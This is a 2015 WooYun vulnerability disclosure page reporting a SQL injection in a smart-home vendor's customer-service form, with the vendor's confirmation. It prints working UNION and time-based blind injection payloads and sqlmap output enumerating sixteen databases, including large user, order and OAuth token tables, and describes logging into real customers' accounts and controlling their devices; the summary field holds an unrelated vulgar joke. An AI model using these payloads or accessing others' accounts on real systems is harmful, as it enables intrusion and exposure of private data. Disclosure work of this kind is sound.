当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0165805

漏洞标题： 控客www站注入（控制全国所有用户/全部设备/全部订单）

相关厂商：ikonke.com

漏洞作者： DNS

提交时间：2015-12-29 18:09

修复时间：2016-02-12 18:49

公开时间：2016-02-12 18:49

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-29： 细节已通知厂商并且等待厂商处理中
2015-12-31： 厂商已经确认，细节仅向厂商公开
2016-01-10： 细节向核心白帽子及相关领域专家公开
2016-01-20： 细节向普通白帽子公开
2016-01-30： 细节向实习白帽子公开
2016-02-12： 细节向公众公开

简要描述：

九旬老太为何裸死街头？ 数千头母牛为何半夜惨叫？ 小卖部安全套为何婪招黑手？ 女生宿舍内裤为何频频失窃？连环强奸 母猪案，究竟何人所为？老尼姑门夜夜 被敲，究竟是人是鬼？数百只小母狗意 外身亡的背后又意味着什么？这一切的 背后，是人心的扭曲还是道德的沦丧？ 是性的爆发还是饥渴的无奈？

详细说明：

写一半电脑蓝屏了。。。
http://www.ikonke.com/CustomerService.php (POST)
username=88952634&email=safe3q@gmail.com
存在注入
获取到主站下的所有数据库
sqlmap identified the following injection points with a total of 267 HTTP(s) requests:
---
Parameter: email (POST)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: username=88952634&email=-5595' UNION ALL SELECT 7545,CONCAT(0x716b787a71,0x6359434c527742725856,0x7162707071),7545#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=88952634&email=safe3q@gmail.com' AND SLEEP(5) AND 'KRFw'='KRFw
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
available databases [16]:
[*] advertise
[*] cdcol
[*] daike
[*] downloaddb
[*] information_schema
[*] k2
[*] kcredit
[*] kserver
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] shiro-oauth2
[*] test
[*] testing
[*] webauth
[*] yiqicms
查询数据库count

back-end DBMS: MySQL 5.0.11
Database: daike
+---------+---------+
| Table   | Entries |
+---------+---------+
| tb_user | 2002    |
+---------+---------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: email (POST)
    Type: UNION query
    Title: MySQL UNION query (random number) - 3 columns
    Payload: username=88952634&email=-5595' UNION ALL SELECT 7545,CONCAT(0x716b787a71,0x6359434c527742725856,0x7162707071),7545#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: username=88952634&email=safe3q@gmail.com' AND SLEEP(5) AND 'KRFw'='KRFw
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: cdcol
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| cds                                   | 3       |
+---------------------------------------+---------+
Database: phpmyadmin
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| pma_userconfig                        | 2       |
| pma_recent                            | 1       |
+---------------------------------------+---------+
Database: daike
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| tb_user                               | 2002    |
+---------------------------------------+---------+
Database: shiro-oauth2
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| k_info                                | 29      |
| oauth2_client                         | 2       |
| oauth2_user                           | 1       |
+---------------------------------------+---------+
Database: performance_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| setup_consumers                       | 8       |
| performance_timers                    | 5       |
| setup_timers                          | 1       |
+---------------------------------------+---------+
Database: webauth
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| user_pwd                              | 1       |
+---------------------------------------+---------+
Database: downloaddb
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| tb_usage                              | 260216  |
| tb_download_statistics                | 1       |
+---------------------------------------+---------+
Database: kserver
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| oauth2_token                          | 21      |
| oauth2_code                           | 19      |
| k_info                                | 17      |
| tb_user                               | 17      |
| oauth2_client                         | 2       |
| tb_authority                          | 1       |
| tb_functions                          | 1       |
+---------------------------------------+---------+
Database: mysql
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| time_zone_transition                  | 117210  |
| time_zone_transition_type             | 7716    |
| time_zone                             | 1685    |
| time_zone_name                        | 1685    |
| columns_priv                          | 29      |
| tables_priv                           | 4       |
| `user`                                | 3       |
| db                                    | 1       |
| proc                                  | 1       |
| proxies_priv                          | 1       |
+---------------------------------------+---------+
Database: test
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| tb_user                               | 83719   | APP用户
| oauth_client_details                  | 2       |
| oauth_access_token                    | 1       |
| oauth_refresh_token                   | 1       |
| user_                                 | 1       |
+---------------------------------------+---------+
Database: advertise
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| ad_mac                                | 169     |
| ad_type                               | 2       |
+---------------------------------------+---------+
Database: yiqicms
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| yiqi_regular                          | 43      |
| yiqi_settings                         | 21      |
| yiqi_article                          | 16      |
| yiqi_meta                             | 16      |
| yiqi_navigate                         | 3       |
| yiqi_templets                         | 2       |
| yiqi_category                         | 1       |
| yiqi_comments                         | 1       |
| yiqi_users                            | 1       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 1169    |
| SESSION_VARIABLES                     | 328     |
| GLOBAL_VARIABLES                      | 317     |
| GLOBAL_STATUS                         | 310     |
| SESSION_STATUS                        | 310     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197     |
| COLLATIONS                            | 197     |
| STATISTICS                            | 153     |
| PARTITIONS                            | 143     |
| TABLES                                | 143     |
| KEY_COLUMN_USAGE                      | 125     |
| TABLE_CONSTRAINTS                     | 89      |
| USER_PRIVILEGES                       | 57      |
| CHARACTER_SETS                        | 39      |
| COLUMN_PRIVILEGES                     | 29      |
| PLUGINS                               | 20      |
| SCHEMATA                              | 16      |
| ENGINES                               | 9       |
| INNODB_CMP                            | 5       |
| INNODB_CMP_RESET                      | 5       |
| INNODB_CMPMEM                         | 5       |
| INNODB_CMPMEM_RESET                   | 5       |
| SCHEMA_PRIVILEGES                     | 5       |
| TABLE_PRIVILEGES                      | 2       |
| INNODB_TRX                            | 1       |
| PROCESSLIST                           | 1       |
| ROUTINES                              | 1       |
+---------------------------------------+---------+
Database: kcredit
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| tb_usereventlog                       | 121768  |
| tb_user                               | 90718   |  商城用户
| tb_coupon                             | 23414   |
| tb_kmoneyhistory                      | 16346   |
| tb_order                              | 1025    |商城订单
| tb_aliorderlog                        | 931     |
| tb_activityregistration               | 923     |
| tb_product                            | 26      |
| tb_activity                           | 7       |
| tb_ad                                 | 3       |
| tb_admin                              | 1       |
+---------------------------------------+---------+


APP用户在数据库TEST 的TB_USER

10.png


登陆两个用户

3.jpg


登陆上去的下载配置，不然都是空的
我纠结半天

4.jpg


5.jpg


2.jpg


发现里面可以看订单，买东西

1.jpg


2.jpg


可以控制设备上的东西
设备都是联动的，配套控制

QQ图片20151229174830.jpg


智能家居很恐怖，相冲厕所吗？NO

漏洞证明：

修复方案：

版权声明：转载请注明来源 DNS@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-12-31 13:46

厂商回复：

谢谢反馈，正在对漏洞进行修复

最新状态：

暂无

漏洞评价：

评价

  1. 2015-12-29 18:23 | 剑芯 ( 实习白帽子 | Rank:43 漏洞数:11 | xsser)

    九旬老太为何裸死街头？ 数千头母牛为何半夜惨叫？ 小卖部安全套为何婪招黑手？ 女生宿舍内裤为何频频失窃？连环强奸 母猪案，究竟何人所为？老尼姑门夜夜 被敲，究竟是人是鬼？数百只小母狗意 外身亡的背后又意味着什么？这一切的 背后，是人心的扭曲还是道德的沦丧？ 是性的爆发还是饥渴的无奈？

  2. 2015-12-29 18:56 | DNS ( 普通白帽子 | Rank:711 漏洞数:73 | root@qisec.com)

    控制全部用户智能设备没有精华？

  3. 2015-12-29 19:49 | 独臂刀王 ( 普通白帽子 | Rank:323 漏洞数:88 | 提交一个漏洞就可以买个柚子~~好爽~)

    表哥别闹